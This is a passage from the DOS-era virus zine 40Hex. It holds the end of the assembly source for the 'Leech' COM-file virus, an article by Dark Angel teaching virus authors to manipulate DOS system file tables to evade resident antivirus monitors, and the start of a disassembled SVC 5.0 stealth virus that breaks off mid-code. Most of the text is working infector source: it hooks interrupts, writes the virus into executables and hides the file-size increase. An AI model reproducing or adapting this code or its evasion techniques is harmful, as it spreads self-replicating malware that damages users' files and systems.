mov al,90h ; plus a nop to keep virus
|
||
stosb ; length constant
|
||
xor ax,ax ; clear the flag
|
||
jmp short set_evenodd_flag
|
||
encode_two_bytes:
|
||
mov ax,0C68Fh ; encode a two byte form of
|
||
stosw ; pop si
|
||
rep movsb
|
||
mov ax,1 ; set evenodd flag
|
||
set_evenodd_flag:
|
||
mov cs:evenodd,ax
|
||
findint21:
|
||
mov ah,30h ; Get DOS version
|
||
int 21h
|
||
|
||
cmp ax,1E03h ; DOS 3.30?
|
||
jne notDOS33
|
||
|
||
mov ah,34h ; Get DOS critical error ptr
|
||
int 21h
|
||
|
||
mov bx,1460h ; int 21h starts here
|
||
jmp short alterint21
|
||
notDOS33:
|
||
mov ax,3521h ; just get current int 21 handler
|
||
int 21h
|
||
alterint21:
|
||
mov oldint21,bx
|
||
mov word ptr ds:oldint21+2,es
|
||
mov si,21h*4 ; save old int 21 handler
|
||
pop ds ; found in interrupt table
|
||
push si
|
||
push cs
|
||
pop es
|
||
mov di,offset topint21
|
||
movsw
|
||
movsw
|
||
pop di ; and put new one in
|
||
push ds
|
||
pop es
|
||
mov ax,offset int21
|
||
stosw
|
||
mov ax,cs
|
||
stosw
|
||
|
||
mov di,offset startencrypt
|
||
mov al,cs:encrypt_value1 ; decrypt original program code
|
||
decryptcode:
|
||
xor cs:[di],al
|
||
inc di
|
||
cmp di,offset decryptcode
|
||
jb decryptcode
|
||
returnCOM:
|
||
mov ah,62h ; Get current PSP
|
||
int 21h
|
||
|
||
push bx ; restore segment registers
|
||
mov ds,bx
|
||
mov es,bx
|
||
mov ax,100h
|
||
push ax
|
||
retf ; Return to PSP:100h
|
||
|
||
infect:
|
||
push si
|
||
push ds
|
||
push es
|
||
push di
|
||
cld
|
||
push cs
|
||
pop ds
|
||
xor dx,dx ; go to start of file
|
||
call movefilepointer
|
||
mov dx,offset readbuffer ; and read 3 bytes
|
||
mov ah,3Fh
|
||
mov cx,3
|
||
call callint21
|
||
jc exiterror
|
||
|
||
xor di,di
|
||
mov ax,readbuffer
|
||
mov cx,word ptr ds:[0]
|
||
cmp cx,ax ; check if already infected
|
||
je go_exitinfect
|
||
cmp al,0EBh ; jmp short?
|
||
jne checkifJMP
|
||
mov al,ah
|
||
xor ah,ah
|
||
add ax,2
|
||
mov di,ax ; di = jmp location
|
||
checkifJMP:
|
||
cmp al,0E9h ; jmp?
|
||
jne checkifEXE ; nope
|
||
mov ax,word ptr readbuffer+1
|
||
add ax,3
|
||
mov di,ax ; di = jmp location
|
||
xor ax,ax
|
||
checkifEXE:
|
||
cmp ax,'MZ'
|
||
je exiterror
|
||
cmp ax,'ZM'
|
||
jne continue_infect
|
||
exiterror:
|
||
stc
|
||
go_exitinfect:
|
||
jmp short exitinfect
|
||
nop
|
||
continue_infect:
|
||
mov dx,di
|
||
push cx
|
||
call movefilepointer ; go to jmp location
|
||
mov dx,virlength ; and read 1024 more bytes
|
||
mov ah,3Fh
|
||
mov cx,dx
|
||
call callint21
|
||
pop cx
|
||
jc exiterror
|
||
cmp readbuffer,cx
|
||
je go_exitinfect
|
||
mov ax,di
|
||
sub ah,0FCh
|
||
cmp ax,filesize
|
||
jae exiterror
|
||
mov dx,filesize
|
||
call movefilepointer
|
||
mov dx,virlength ; write virus to middle
|
||
mov cx,dx ; of file
|
||
mov ah,40h
|
||
call callint21
|
||
jc exitinfect
|
||
mov dx,di
|
||
call movefilepointer
|
||
push cs
|
||
pop es
|
||
mov di,offset readbuffer
|
||
push di
|
||
push di
|
||
xor si,si
|
||
mov cx,di
|
||
rep movsb
|
||
mov si,offset encrypt_value2
|
||
mov al,encrypted_file
|
||
encryptfile: ; encrypt infected file
|
||
xor [si],al
|
||
inc si
|
||
cmp si,7FFh
|
||
jb encryptfile
|
||
pop cx
|
||
pop dx
|
||
mov ah,40h ; and write it to end of file
|
||
call callint21
|
||
exitinfect:
|
||
pop di
|
||
pop es
|
||
pop ds
|
||
pop si
|
||
retn
|
||
|
||
int21:
|
||
cmp ax,4B00h ; Execute?
|
||
je execute
|
||
cmp ah,3Eh ; Close?
|
||
je handleclose
|
||
cmp ah,11h ; Find first?
|
||
je findfirstnext
|
||
cmp ah,12h ; Find next?
|
||
je findfirstnext
|
||
exitint21:
|
||
db 0EAh ; jmp far ptr
|
||
topint21 dw 0, 0
|
||
|
||
findfirstnext:
|
||
push si
|
||
mov si,offset topint21
|
||
pushf
|
||
call dword ptr cs:[si] ; call int 21 handler
|
||
pop si
|
||
push ax
|
||
push bx
|
||
push es
|
||
mov ah,2Fh ; Get DTA
|
||
call callint21
|
||
cmp byte ptr es:[bx],0FFh ; extended FCB?
|
||
jne noextendedFCB
|
||
add bx,7 ; convert to normal
|
||
noextendedFCB:
|
||
mov ax,es:[bx+17h] ; Get time
|
||
and ax,1Fh ; and check infection stamp
|
||
cmp ax,1Eh
|
||
jne exitfindfirstnext
|
||
mov ax,es:[bx+1Dh]
|
||
cmp ax,virlength * 2 + 1 ; too small for infection?
|
||
jb exitfindfirstnext ; then not infected
|
||
sub ax,virlength ; alter file size
|
||
mov es:[bx+1Dh],ax
|
||
exitfindfirstnext:
|
||
pop es
|
||
pop bx
|
||
pop ax
|
||
iret
|
||
|
||
int24:
|
||
mov al,3
|
||
iret
|
||
|
||
callint21:
|
||
pushf
|
||
call dword ptr cs:oldint21
|
||
retn
|
||
|
||
movefilepointer:
|
||
xor cx,cx
|
||
mov ax,4200h
|
||
call callint21
|
||
retn
|
||
|
||
execute:
|
||
push ax
|
||
push bx
|
||
mov cs:runningflag,0
|
||
mov ax,3D00h ; open file read/only
|
||
call callint21
|
||
mov bx,ax
|
||
mov ah,3Eh ; close file
|
||
int 21h ; to trigger infection
|
||
|
||
pop bx
|
||
pop ax
|
||
go_exitint21:
|
||
jmp short exitint21
|
||
|
||
handleclose:
|
||
or cs:runningflag,0 ; virus currently active?
|
||
jnz go_exitint21
|
||
push cx
|
||
push dx
|
||
push di
|
||
push es
|
||
push ax
|
||
push bx
|
||
call getint13and24
|
||
call setint13and24
|
||
; convert handle to filename
|
||
mov ax,1220h ; get job file table entry
|
||
int 2Fh
|
||
jc handleclose_noinfect ; exit on error
|
||
|
||
mov ax,1216h ; get address of SFT
|
||
mov bl,es:[di]
|
||
xor bh,bh
|
||
int 2Fh ; es:di->file entry in SFT
|
||
|
||
mov ax,es:[di+11h]
|
||
mov cs:filesize,ax ; save file size,
|
||
mov ax,es:[di+0Dh]
|
||
and al,0F8h
|
||
mov cs:timestore,ax ; time,
|
||
mov ax,es:[di+0Fh]
|
||
mov cs:datestore,ax ; and date
|
||
cmp word ptr es:[di+29h],'MO' ; check for COM extension
|
||
jne handleclose_noinfect
|
||
cmp byte ptr es:[di+28h],'C'
|
||
jne handleclose_noinfect
|
||
cmp cs:filesize,0FA00h ; make sure not too large
|
||
jae handleclose_noinfect
|
||
mov al,20h ; alter file attribute
|
||
xchg al,es:[di+4]
|
||
mov ah,2 ; alter open mode to read/write
|
||
xchg ah,es:[di+2]
|
||
pop bx
|
||
push bx
|
||
push ax
|
||
call infect
|
||
pop ax
|
||
mov es:[di+4],al ; restore file attribute
|
||
mov es:[di+2],ah ; and open mode
|
||
mov cx,cs:timestore
|
||
jc infection_not_successful
|
||
or cl,1Fh ; make file infected in
|
||
and cl,0FEh ; seconds field
|
||
infection_not_successful:
|
||
mov dx,cs:datestore ; restore file time/date
|
||
mov ax,5701h
|
||
call callint21
|
||
handleclose_noinfect:
|
||
pop bx
|
||
pop ax
|
||
pop es
|
||
pop di
|
||
pop dx
|
||
pop cx
|
||
call callint21
|
||
call setint13and24
|
||
retf 2 ; exit with flags intact
|
||
|
||
getint13and24:
|
||
mov ah,13h ; Get BIOS int 13h handler
|
||
int 2Fh
|
||
mov cs:oldint13,bx
|
||
mov cs:oldint13+2,es
|
||
|
||
int 2Fh ; Restore it
|
||
|
||
mov cs:oldint24,offset int24
|
||
mov cs:oldint24+2,cs
|
||
retn
|
||
|
||
setint13and24:
|
||
push ax
|
||
push si
|
||
push ds
|
||
pushf
|
||
cli
|
||
cld
|
||
xor ax,ax
|
||
mov ds,ax ; ds->interrupt table
|
||
|
||
mov si,13h*4
|
||
lodsw
|
||
xchg ax,cs:oldint13 ; replace old int 13 handler
|
||
mov [si-2],ax ; with original BIOS handler
|
||
lodsw
|
||
xchg ax,cs:oldint13+2
|
||
mov [si-2],ax
|
||
|
||
mov si,24h*4 ; replace old int 24 handler
|
||
lodsw ; with our own handler
|
||
xchg ax,cs:oldint24
|
||
mov [si-2],ax
|
||
lodsw
|
||
xchg ax,cs:oldint24+2
|
||
mov [si-2],ax
|
||
popf
|
||
pop ds
|
||
pop si
|
||
pop ax
|
||
retn
|
||
|
||
message db 'The leech live ...', 0
|
||
db 'April 1991 The Topler.'
|
||
|
||
db 0, 0, 0, 0, 0
|
||
|
||
encrypt_value1 db 0
|
||
readbuffer dw 0
|
||
db 253 dup (0)
|
||
|
||
nothing1 db 0
|
||
db 152 dup (0)
|
||
encrypt_value2 db 0
|
||
db 614 dup (0)
|
||
encrypted_file db 0
|
||
db 1280 dup (0)
|
||
carrier:
|
||
dw 20CDh
|
||
|
||
end leech
|
||
-------------------------------------------------------------------------------
|
||
|
||
|
||
40Hex Issue 11 Volume 3 Number 2 File 006
|
||
|
||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
SFT's and Their Usage
|
||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
By Dark Angel
|
||
Phalcon/Skism
|
||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
A powerful though seldom-used technique in virus writing is the use of
|
||
the system file table, an internal DOS structure similar in some respects to
|
||
FCBs, albeit vastly more powerful. The system file table holds the critical
|
||
information on the state of an open file, including the current pointer
|
||
location, the open mode, and the file size. Manipulation of the system file
|
||
tables can often replace calls to corresponding DOS interrupt routines and
|
||
therefore, when combined with other techniques, reduces the effectiveness of
|
||
a TSR virus monitor and decreases code size.
|
||
|
||
Each open file has a corresponding system file table. The following
|
||
tables come from Ralf Brown's interrupt listing.
|
||
|
||
Format of DOS 2.x system file tables:
|
||
Offset Size Description
|
||
00h DWORD pointer to next file table
|
||
04h WORD number of files in this table
|
||
06h 28h bytes per file
|
||
Offset Size Description
|
||
00h BYTE number of file handles referring to this file
|
||
01h BYTE file open mode (see AH=3Dh)
|
||
02h BYTE file attribute
|
||
03h BYTE drive (0 = character device, 1 = A, 2 = B, etc)
|
||
04h 11 BYTEs filename in FCB format (no path, no period,
|
||
blank-padded)
|
||
0Fh WORD ???
|
||
11h WORD ???
|
||
13h DWORD file size???
|
||
17h WORD file date in packed format (see AX=5700h)
|
||
19h WORD file time in packed format (see AX=5700h)
|
||
1Bh BYTE device attribute (see AX=4400h)
|
||
---character device---
|
||
1Ch DWORD pointer to device driver
|
||
---block device---
|
||
1Ch WORD starting cluster of file
|
||
1Eh WORD relative cluster in file of last cluster accessed
|
||
------
|
||
20h WORD absolute cluster number of current cluster
|
||
22h WORD ???
|
||
24h DWORD current file position???
|
||
|
||
Format of DOS 3.x system file tables and FCB tables:
|
||
Offset Size Description
|
||
00h DWORD pointer to next file table
|
||
04h WORD number of files in this table
|
||
06h 35h bytes per file
|
||
Offset Size Description
|
||
00h WORD number of file handles referring to this file
|
||
02h WORD file open mode (see AH=3Dh)
|
||
bit 15 set if this file opened via FCB
|
||
04h BYTE file attribute
|
||
05h WORD device info word (see AX=4400h)
|
||
07h DWORD pointer to device driver header if character device
|
||
else pointer to DOS Drive Parameter Block (see AH=32h)
|
||
0Bh WORD starting cluster of file
|
||
0Dh WORD file time in packed format (see AX=5700h)
|
||
0Fh WORD file date in packed format (see AX=5700h)
|
||
11h DWORD file size
|
||
15h DWORD current offset in file
|
||
19h WORD relative cluster within file of last cluster accessed
|
||
1Bh WORD absolute cluster number of last cluster accessed
|
||
0000h if file never read or written???
|
||
1Dh WORD number of sector containing directory entry
|
||
1Fh BYTE number of dir entry within sector (byte offset/32)
|
||
20h 11 BYTEs filename in FCB format (no path/period, blank-padded)
|
||
2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file
|
||
2Fh WORD (SHARE.EXE) network machine number which opened file
|
||
31h WORD PSP segment of file's owner (see AH=26h)
|
||
33h WORD offset within SHARE.EXE code segment of
|
||
sharing record (see below) 0000h = none
|
||
|
||
Format of DOS 4+ system file tables and FCB tables:
|
||
Offset Size Description
|
||
00h DWORD pointer to next file table
|
||
04h WORD number of files in this table
|
||
06h 3Bh bytes per file
|
||
Offset Size Description
|
||
00h WORD number of file handles referring to this file
|
||
02h WORD file open mode (see AH=3Dh)
|
||
bit 15 set if this file opened via FCB
|
||
04h BYTE file attribute
|
||
05h WORD device info word (see AX=4400h)
|
||
bit 15 set if remote file
|
||
bit 14 set means do not set file date/time on closing
|
||
07h DWORD pointer to device driver header if character device
|
||
else pointer to DOS Drive Parameter Block (see AH=32h)
|
||
or REDIR data
|
||
0Bh WORD starting cluster of file
|
||
0Dh WORD file time in packed format (see AX=5700h)
|
||
0Fh WORD file date in packed format (see AX=5700h)
|
||
11h DWORD file size
|
||
15h DWORD current offset in file
|
||
---local file---
|
||
19h WORD relative cluster within file of last cluster accessed
|
||
1Bh DWORD number of sector containing directory entry
|
||
1Fh BYTE number of dir entry within sector (byte offset/32)
|
||
---network redirector---
|
||
19h DWORD pointer to REDIRIFS record
|
||
1Dh 3 BYTEs ???
|
||
------
|
||
20h 11 BYTEs filename in FCB format (no path/period, blank-padded)
|
||
2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file
|
||
2Fh WORD (SHARE.EXE) network machine number which opened file
|
||
31h WORD PSP segment of file's owner (see AH=26h)
|
||
33h WORD offset within SHARE.EXE code segment of
|
||
sharing record (see below) 0000h = none
|
||
35h WORD (local) absolute cluster number of last clustr
|
||
accessed (redirector) ???
|
||
37h DWORD pointer to IFS driver for file, 0000000h if native DOS
|
||
|
||
In order to exploit this nifty structure in DOS, the virus must first
|
||
find the location of the appropriate system file table. This may be easily
|
||
accomplished with a few undocumented DOS calls. Given the file handle in
|
||
bx, the following code will return the address of the corresponding system
|
||
file table:
|
||
|
||
mov ax,1220h ; Get job file table entry to ES:DI
|
||
int 2fh ; DOS 3+ only
|
||
|
||
mov bl,es:di ; get number of the SFT for the file handle
|
||
; -1 = handle not open
|
||
mov ax,1216h ; get address of the system file table
|
||
int 2fh ; entry number bx
|
||
; ES:DI now points to the system file table entry
|
||
|
||
Now that the system file table entry address is known, it is a trivial
|
||
matter to alter the various bytes of the entry to fit your particular needs.
|
||
Most viruses must first clear a file's attributes in order to open the file
|
||
in read/write mode, since it would otherwise not be able to write to a read-
|
||
only file. This handicap is easily overcome by opening the file in read-
|
||
only mode (al = 0) and changing the byte (or word) referring to the file's
|
||
open mode to 2. This has the added benefit of bypassing some resident
|
||
alarms, which generally do not go off if a file is opened in read only mode.
|
||
It is also possible to set a file's pointer by altering the double word at
|
||
offset 15h (in DOS 3+). So a quick and easy way to reset the file pointer
|
||
is:
|
||
mov es:di+15h,0
|
||
mov es:di+17h,0
|
||
|
||
It is acceptable to ignore the DOS 2.X system file table format. DOS
|
||
2.X is not in common use today and many programs simply refuse to run under
|
||
such primitive versions. Most of the useful offsets are constant in DOS
|
||
3.X+, which simplifies the code tremendously.
|
||
|
||
This is only a surface treatment of a topic which warrants further
|
||
investigation. Numerous opportunities exist for the enterprising virus
|
||
author to exploit the power of the system file tables. But the only way to
|
||
find these opportunities is to experiment. Have fun!
|
||
|
||
40Hex Issue 11 Volume 3 Number 2 File 007
|
||
|
||
SVC 5.0
|
||
|
||
SVC 5.0 is a good example of a true stealth virus. Cheesy, primitive
|
||
stealth-wanna-be viruses "disinfect" by rewriting the files on the disk.
|
||
Not so with SVC 5.0 and all real stealth viruses, which alter only the memory
|
||
image of the file, leaving the original intact. This has advantages,
|
||
including:
|
||
o Time savings
|
||
o Fewer disk accesses
|
||
o No additional disk writes are required
|
||
|
||
General Notes:
|
||
SVC 5.0 is a parasitic, resident COM and EXE infector. It does not
|
||
have encryption, but this is offset by the true stealth capabilities of the
|
||
virus. Although it hides the file length increase, the virus does not suffer
|
||
from the dreaded CHKDSK crosslinking errors experienced by many early stealth
|
||
viruses. However, the code to overcome this problem is kludgily implemented;
|
||
the virus detects execution of programs with the "HK" and "DS" strings in the
|
||
filename. Although this helps with CHKDSK, it won't help with other programs
|
||
which work in CHKDSK's asinine fashion.
|
||
|
||
-- Dark Angel
|
||
Phalcon/Skism 1993
|
||
-------------------------------------------------------------------------------
|
||
.model tiny
|
||
.code
|
||
; SVC 5-A
|
||
; Disassembly done by Dark Angel of Phalcon/Skism
|
||
; Assemble with Tasm /m SVC5-A
|
||
org 0
|
||
|
||
start:
|
||
call next
|
||
next:
|
||
pop si
|
||
db 83h,0EEh,3 ; sub si,offset next
|
||
mov word ptr cs:[si+offset storeAX],ax
|
||
push es
|
||
push si
|
||
xor dx,dx
|
||
mov ah,84h ; installation check
|
||
int 21h
|
||
pop si
|
||
push si
|
||
cmp dx,1990h
|
||
jne installvirus
|
||
cmp bh,byte ptr cs:[si+versionbyte]
|
||
ja go_exitvirus
|
||
jc installvirus
|
||
push si
|
||
push es
|
||
xchg ah,al ; convert ax to virus
|
||
xor ax,0FFFFh ; CS
|
||
mov es,ax ; es->resident virus
|
||
push cs
|
||
pop ds
|
||
xor di,di
|
||
mov cx,begindata - start - 1; same version?
|
||
cld
|
||
repe cmpsb
|
||
pop es
|
||
pop si
|
||
jz go_exitvirus ; yes, exit
|
||
jmp reboot ; else reboot
|
||
go_exitvirus:
|
||
jmp exitvirus
|
||
installvirus:
|
||
push es
|
||
xor ax,ax
|
||
mov ds,ax
|
||
les ax,dword ptr ds:21h*4 ; save old int 21h
|
||
mov cs:[si+oldint21],ax ; handler
|
||
mov word ptr cs:[si+oldint21+2],es
|
||
les ax,dword ptr ds:8*4 ; save old int 8 handler
|
||
mov cs:[si+oldint8],ax
|
||
mov word ptr cs:[si+oldint8+2],es
|
||
pop es
|
||
mov cs:[si+carrierPSP],es ; save current PSP
|
||
mov ah,49h ; Release memory @ PSP
|
||
int 21h
|
||
jc exitvirus ; exit on error
|
||
|
||
mov ah,48h ; Find total memory size
|
||
mov bx,0FFFFh
|
||
int 21h
|
||
sub bx,(viruslength+15)/16+1; shrink allocation for carrier
|
||
jc exitvirus
|
||
|
||
mov cx,es ; compute new memory
|
||
stc ; block location
|
||
adc cx,bx
|
||
mov ah,4Ah ; Allocate memory for carrier
|
||
int 21h
|
||
|
||
mov bx,(viruslength+15)/16
|
||
stc
|
||
sbb es:[2],bx ; fix high memory field in PSP
|
||
mov es,cx
|
||
mov ah,4Ah ; Allocate memory for virus
|
||
int 21h
|
||
|
||
mov ax,es ; Go to virus MCB
|
||
dec ax
|
||
mov ds,ax
|
||
mov word ptr ds:[1],8 ; mark owner = DOS
|
||
mov ax,cs:[si+carrierPSP] ; go back to carrier PSP
|
||
dec ax ; go to its MCB
|
||
mov ds,ax
|
||
mov byte ptr ds:[0],'Z' ; mark it end of block
|
||
push cs
|
||
pop ds
|
||
xor di,di ; copy virus to high memory
|
||
mov cx,viruslength + 1
|
||
cld
|
||
rep movsb
|
||
xor ax,ax
|
||
mov ds,ax
|
||
cli ; and set up virus
|
||
mov word ptr ds:21h*4,offset int21
|
||
mov word ptr ds:21h*4+2,es ; interrupt handlers
|
||
mov word ptr ds:8*4,offset int8
|
||
mov word ptr ds:8*4+2,es
|
||
exitvirus:
|
||
sti
|
||
push cs
|
||
pop ds
|
||
pop si
|
||
push si
|
||
mov ah,byte ptr cs:[si+offset encryptval1]
|
||
mov dh,byte ptr cs:[si+offset encryptval2]
|
||
add si,offset savebuffer
|
||
call decrypt
|
||
pop si
|
||
pop es
|
||
cld
|
||
cmp cs:[si+offset savebuffer],'ZM'
|
||
je returnEXE
|
||
mov di,100h
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
push si
|
||
add si,offset savebuffer
|
||
movsb
|
||
movsw
|
||
pop si
|
||
mov ax,100h
|
||
push ax
|
||
mov ax,word ptr cs:[si+offset storeAX]
|
||
retn
|
||
returnEXE:
|
||
mov bx,es
|
||
add bx,10h
|
||
add bx,cs:[si+savebuffer+16h]
|
||
mov word ptr cs:[si+jmpcs],bx
|
||
mov bx,cs:[si+savebuffer+14h]
|
||
mov word ptr cs:[si+jmpip],bx
|
||
mov bx,es
|
||
mov ds,bx
|
||
add bx,10h
|
||
add bx,cs:[si+savebuffer+0eh]
|
||
cli
|
||
mov ss,bx
|
||
mov sp,cs:[si+savebuffer+10h]
|
||
sti
|
||
mov ax,word ptr cs:[si+offset storeAX]
|
||
db 0EAh ; jmp far ptr
|
||
jmpip dw 0
|
||
jmpcs dw 0
|
||
|
||
int21:
|
||
pushf
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
mov word ptr cs:int21command,ax
|
||
cmp word ptr cs:int21command,4B03h ; load/no PSP
|
||
je _load_noexecute
|
||
cmp word ptr cs:int21command,4B01h ; load/no execute
|
||
je _load_noexecute
|
||
cmp word ptr cs:int21command,4B00h ; load/execute
|
||
je _load_execute
|
||
cmp ah,3Dh ; handle open
|
||
je _handleopen
|
||
cmp ah,3Eh ; handle close
|
||
je _handleclose
|
||
cmp ah,40h ; handle write
|
||
je _handlewrite
|
||
cmp ah,4Ch ; terminate
|
||
je _terminate
|
||
jmp short exitint21
|
||
nop
|
||
_terminate:
|
||
jmp terminate
|
||
_handlewrite:
|
||
jmp handlewrite
|
||
_load_noexecute:
|
||
jmp load_noexecute
|
||
_handleclose:
|
||
jmp handleclose
|
||
_handlecreate:
|
||
jmp handlecreate
|
||
_load_execute:
|
||
jmp load_execute
|
||
_handleopen:
|
||
jmp handleopen
|
||
_FCBfindfirstnext:
|
||
jmp FCBfindfirstnext
|
||
_ASCIIfindfirstnext:
|
||
jmp ASCIIfindfirstnext
|
||
_handlegoEOF:
|
||
jmp handlegoEOF
|
||
_handleopen2:
|
||
jmp handleopen2
|
||
_handleread:
|
||
jmp handleread
|
||
_getsetfiletime:
|
||
jmp getsetfiletime
|
||
|
||
return:
|
||
retn
|
||
|
||
load_execute_exit:
|
||
call restoreint24and23
|
||
jmp short exitint21
|
||
nop
|
||
|
||
restoreint24and23:
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,cs:oldint24
|
||
mov ds:24h*4,ax
|
||
mov ax,cs:oldint24+2
|
||
mov word ptr ds:24h*4+2,ax
|
||
mov ax,cs:oldint23
|
||
mov ds:23h*4,ax
|
||
mov ax,cs:oldint23+2
|
||
mov word ptr ds:23h*4+2,ax
|
||
retn
|
||
|
||
exitint21:
|
||
pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
cmp ah,3Ch ; handlecreate
|
||
je _handlecreate
|
||
cmp ah,83h ; installation check for
|
||
je old_installation_check ; other versions of SVC
|
||
cmp ah,84h ; installation check for
|
||
je installation_check ; this version of SVC
|
||
cmp ah,4Eh ; find first?
|
||
je _ASCIIfindfirstnext
|
||
cmp ah,4Fh ; find next?
|
||
je _ASCIIfindfirstnext
|
||
cmp ah,11h ; find first
|
||
je _FCBfindfirstnext
|
||
cmp ah,12h ; find next
|
||
je _FCBfindfirstnext
|
||
cmp ax,4202h ; go EOF
|
||
je _handlegoEOF
|
||
cmp ah,3Dh ; handle open
|
||
je _handleopen2
|
||
cmp ah,3Fh ; handle read
|
||
je _handleread
|
||
cmp ah,57h ; get/set file time
|
||
je _getsetfiletime
|
||
popf ; chain to original int
|
||
jmp dword ptr cs:oldint21 ; 21h handler
|
||
|
||
callint21:
|
||
cli
|
||
pushf
|
||
call dword ptr cs:oldint21
|
||
retn
|
||
|
||
installation_check:
|
||
popf
|
||
mov bh,cs:versionbyte
|
||
mov ax,cs
|
||
xor ax,0FFFFh
|
||
xchg ah,al
|
||
common_installation_check_return:
|
||
mov dx,1990h
|
||
iret
|
||
|
||
old_installation_check:
|
||
popf
|
||
jmp short common_installation_check_return
|
||
|
||
popdsdx_return:
|
||
pop dx
|
||
pop ds
|
||
jmp return
|
||
|
||
load_execute:
|
||
call check_chkdsk
|
||
call infectdsdx
|
||
jmp load_execute_exit
|
||
|
||
infectdsdx:
|
||
call setint24and23
|
||
jmp short infectdsdx_continue
|
||
nop
|
||
|
||
setint24and23:
|
||
xor ax,ax
|
||
mov es,ax
|
||
les ax,dword ptr es:24h*4
|
||
mov cs:oldint24,ax
|
||
mov cs:oldint24+2,es
|
||
xor ax,ax
|
||
mov es,ax
|
||
les ax,dword ptr es:23h*4
|
||
mov cs:oldint23,ax
|
||
mov cs:oldint23+2,es
|
||
xor ax,ax
|
||
mov es,ax
|
||
mov word ptr es:24h*4,offset int24
|
||
mov word ptr es:24h*4+2,cs
|
||
mov word ptr es:23h*4,offset int23
|
||
mov word ptr es:23h*4+2,cs
|
||
retn
|
||
|
||
infectdsdx_continue:
|
||
push ds
|
||
push dx
|
||
cmp byte ptr cs:tickcount,3Ch ; don't infect too early
|
||
jb popdsdx_return ; after previous one
|
||
mov ax,4300h ; get file attributes
|
||
call callint21
|
||
jc popdsdx_return
|
||
mov cs:fileattr,cx
|
||
and cl,0FEh ; turn off r/o bit
|
||
mov ax,4301h ; and reset file attributes
|
||
call callint21
|
||
jc popdsdx_return
|
||
mov cx,cs:fileattr
|
||
and cl,4 ; test cl,4
|
||
cmp cl,4 ; check system attribute
|
||
je infecthandle_exit ; exit if set
|
||
mov ax,3D02h ; open file read/write
|
||
call callint21
|
||
jc infecthandle_exit
|
||
mov bx,ax ; handle to bx
|
||
push dx ; save file name pointer
|
||
mov ax,5700h ; get file time/date
|
||
call callint21
|
||
pop dx
|
||
and cx,1Eh ; check if seconds = 60
|
||
cmp cx,1Eh ; (infection marker)
|
||
jne infect_dsdx_checkmo ; continue if not so marked
|
||
jmp short infecthandle_alreadyinfected
|
||
nop
|
||
infect_dsdx_checkmo:
|
||
call check_command_com
|
||
jnc infecthandle
|
||
jmp short infecthandle_alreadyinfected
|
||
nop
|
||
|
||
check_command_com:
|
||
cld
|
||
mov si,dx
|
||
check_command_com_loop:
|
||
lodsw
|
||
cmp ax,'MM' ; COMMAND.COM?
|
||
je check_command_com_yes
|
||
cmp ax,'mm'
|
||
je check_command_com_yes
|
||
cmp ax,'MB' ; IBMBIO/IBMDOS?
|
||
je check_command_com_yes
|
||
cmp ax,'mb'
|
||
je check_command_com_yes
|
||
cmp ah,0
|
||
je check_command_com_no
|
||
dec si
|
||
jmp short check_command_com_loop
|
||
check_command_com_yes:
|
||
stc
|
||
retn
|
||
check_command_com_no:
|
||
clc
|
||
retn
|
||
|
||
infecthandle_exit:
|
||
jmp popdsdx_return
|
||
infecthandle:
|
||
cmp bx,5 ; check if handle too
|
||
jb infecthandle_exit ; small (predefined)
|
||
call checkifinfected
|
||
jnc infecthandle_alreadyinfected
|
||
call infect_handle
|
||
infecthandle_alreadyinfected:
|
||
mov ah,3Eh ; Close file
|
||
call callint21
|
||
pop dx
|
||
pop ds
|
||
jc infecthandle_exit2
|
||
mov ax,4301h ; restore file attributes
|
||
mov cx,cs:fileattr
|
||
call callint21
|
||
infecthandle_exit2:
|
||
jmp return
|
||
|
||
infect_handle_exit:
|
||
jmp infect_handle_error
|
||
infect_handle:
|
||
mov ax,5700h ; get file time/date
|
||
call callint21
|
||
mov cs:filetime,cx
|
||
mov cs:filedate,dx
|
||
xor cx,cx
|
||
xor dx,dx
|
||
mov ax,4200h ; go to start of file
|
||
call callint21
|
||
push cs
|
||
pop ds
|
||
mov cx,18h ; read header
|
||
mov dx,offset savebuffer
|
||
mov ah,3Fh
|
||
call callint21
|
||
jc infect_handle_exit
|
||
push cs
|
||
pop es
|
||
push cs
|
||
pop ds
|
||
mov si,offset savebuffer ; copy to work buffer
|
||
mov di,offset workbuffer
|
||
mov cx,18h
|
||
cld
|
||
rep movsb
|
||
mov ax,2C00h
|
||
call callint21
|
||
mov byte ptr cs:encryptval2,dh
|
||
mov byte ptr cs:encryptval1,dl
|
||
mov ah,dl
|
||
mov si,offset savebuffer
|
||
call decrypt
|
||
cmp cs:workbuffer,'ZM' ; check if EXE
|
||
je infect_handle_EXE
|
||
mov cs:workbuffer,0E9h ; encode the jmp
|
||
xor cx,cx
|
||
xor dx,dx
|
||
mov ax,4202h ; get file size
|
||
call callint21
|
||
cmp dx,0
|
||
jne infect_handle_exit
|
||
cmp ax,viruslength
|
||
jb infect_handle_exit
|
||
cmp ax,0EDE1h ; check if too large
|
||
jae infect_handle_exit
|
||
sub ax,3 ; adjust size to jmp location
|
||
mov word ptr cs:workbuffer+1,ax
|
||
call writevirusandheader ; write virus to file
|
||
jmp infect_handle_finish
|
||
|
||
writevirusandheader:
|
||
push cs
|
||
pop ds
|
||
xor dx,dx
|
||
mov cx,viruslength
|
||
mov ah,40h ; concatenate virus
|
||
call callint21
|
||
jc writevirusandheader_exit
|
||
cmp ax,viruslength
|
||
jne writevirusandheader_exit
|
